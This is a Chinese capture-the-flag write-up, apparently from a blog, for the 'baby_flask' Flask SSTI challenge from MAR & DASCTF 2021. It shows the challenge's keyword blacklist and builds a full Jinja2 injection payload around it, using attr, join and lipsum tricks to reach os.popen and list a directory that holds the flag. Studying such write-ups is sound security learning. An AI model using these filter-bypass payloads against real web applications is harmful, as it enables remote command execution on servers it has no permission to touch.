MAR & DASCTF 2021 baby_flask

前言

周末又到了补作业的好时间,本来想逃一波作业来打打这个比赛,结果卡的我属实难受,把第一道web的ssti给做了就去补作业了,其他的web没来得及看,不知道还有没有复现了(哭)。

baby_flask

单纯的SSTI了,f12看一下给了黑名单:

     

Hi young boy!br>
Do you like ssti?br>
blacklistbr>   
'.','[','\'','"',''\\','+',':','_',br>   
'chr','pop','class','base','mro','init','globals','get',br>   
'eval','exec','os','popen','open','read',br>   
'select','url_for','get_flashed_messages','config','request',br>   
'count','length','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9'br>    
br>   

过滤的还算中规中矩吧,把点,中括号,引号,加号,下划线还有一些关键的单词都给ban了,全角半角数字也都给ban了,不过听另外一个师傅说可以拿特殊的unicode字符来代替数字,同样可以成功。拿unicode绕过的话我没试,查了一下应该就类似于这样:
MAR & DASCTF 2021 baby_flask_第1张图片

我的方法就相对来说比较麻烦(阴间)了。过滤了点和中括号这样的,但是没过滤掉|attr,因此拿attr来绕即可。类似于globals的,利用flask中的join过滤器同样可以拼接出:

{% set gl=dict(glo=a,bals=a)|join%}

MAR & DASCTF 2021 baby_flask_第2张图片
ssti中类似join过滤器这样的小trick,羽师傅的博客总结的已经比较全了:
SSTI模板注入绕过(进阶篇)
因此这里就不对这些已有的trick进行讲解,只讲解题的思路。
还是要从官方文档里进行挖掘,相对来说官方文档才是进行学习的最好的地方。

类似global这样的过滤可以绕过,但是一些特殊的字符又要想办法得到,比如下划线_,斜杠,反斜杠,空格这样的。

我一般获取这样的东西的思路是2个,要么利用config,要么利用()|select|string。当然了,一般会想着先弄到数字。数字的思路大概也是2个,要么利用内置的过滤器count或者length,要么用index。这题过滤了count和length,我考虑用index来得到数字(当然,用unicode的话就变得非常简单了,不过我只讲一下不利用unicode的思路),原理是这样:
MAR & DASCTF 2021 baby_flask_第3张图片
config被过滤了但是lipsum没有过滤,因此可以利用lipsum来获得数字。
MAR & DASCTF 2021 baby_flask_第4张图片
因此过滤了引号,因此index里面拿join过滤器来绕过即可:
MAR & DASCTF 2021 baby_flask_第5张图片

但是index只是取得那个字符出现的第一位,因此0-9直接这样取可能取不全,还需要进行其他的操作,不过我这里比较懒,只取了1,3,5这三个数字,后面的需要数字的操作都由这三个数字进行运算了(原谅我的懒。。。)

拿到了数字,接下来的需要的一些字符就好拿了,例如下划线这样的,可以发现lipsum|string|list中就有下划线,因此构造一下数字,去取。不过取的是列表中的一个元素,点和中括号都被ban了,可以用pop或者__getitem__来取,这里我构造pop:

{% set id=dict(ind=a,ex=a)|join%}
{% set pp=dict(po=a,p=a)|join%}
{% set nn=dict(n=a)|join%}
{% set tt=dict(t=a)|join%}
{% set ff=dict(f=a)|join%}
{% set five=(lipsum|string|list)|attr(id)(tt) %}
{% set three=(lipsum|string|list)|attr(id)(nn) %}
{% set one=(lipsum|string|list)|attr(id)(ff) %}
{% set shiba=five*five-three-three-one %}
{% set xiahuaxian=(lipsum|string|list)|attr(pp)(shiba) %}
{
    {xiahuaxian}}

相当于(lipsum|string|list).pop(18)
MAR & DASCTF 2021 baby_flask_第6张图片
拿到了下划线接下来就可以干很多东西了,有了下划线的话,__globals____builtins__这样的也都有了,而且chr也可以弄到:

lipsum.__globals__['__builtins__'].chr

这波叫层层递进,我也懒得想就是利用lipsum能不能获得所有需要的字符了。。。反正有了chr和数字,就相当于这题对你没有任何过滤了,任何字符你都可以构造出来了,因此接下来只是看怎么找flag的问题了。

这题我先是试着读/flag,发现没读到,然后find / -name *flag*,还是没找到,然后尝试bash反弹shell,又不行,最后我突然想到最开始执行ls命令的时候返回的是空,大概率flask的那个py文件不在当然的目录下了,可能flag就在那个py文件或者py文件的那个目录。然后我读了一下/proc/self/cmdline,读到了执行的命令是大致好像是python /var/www/flask/app.py(好像是这样叭,有些记不清了)。
然后我直接拼接出ls /var/www/flask,成功得到flag。。。flag就是文件名。

最终的payload如下:

{% set id=dict(ind=a,ex=a)|join%}
{% set pp=dict(po=a,p=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set ppe=dict(po=a,pen=a)|join%}
{% set gt=dict(ge=a,t=a)|join%}
{% set cr=dict(ch=a,r=a)|join%}
{% set nn=dict(n=a)|join%}
{% set tt=dict(t=a)|join%}
{% set ff=dict(f=a)|join%}
{% set ooqq=dict(o=a,s=a)|join %}
{% set rd=dict(re=a,ad=a)|join%}
{% set five=(lipsum|string|list)|attr(id)(tt) %}
{% set three=(lipsum|string|list)|attr(id)(nn) %}
{% set one=(lipsum|string|list)|attr(id)(ff) %}
{% set shiba=five*five-three-three-one %}
{% set xiahuaxian=(lipsum|string|list)|attr(pp)(shiba) %}
{% set gb=(xiahuaxian,xiahuaxian,dict(glob=a,als=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set bin=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set chcr=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %}
{% set xiegang=chcr(three*five*five-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one)%}
{% set space=chcr(three*three*five-five-five-three) %}
{% set shell=(ls,space,xiegang,dict(var=a)|join,xiegang,dict(www=a)|join,xiegang,dict(flask=a)|join)|join %}
{
    {(lipsum|attr(gb))|attr(gt)(ooqq)|attr(ppe)(shell)|attr(rd)()}}

相当于执行
lipsum.__globals__.get('os').popen('ls /var/www/flask').read()

你可能感兴趣的:(比赛WP,模板注入SSTI,ssti)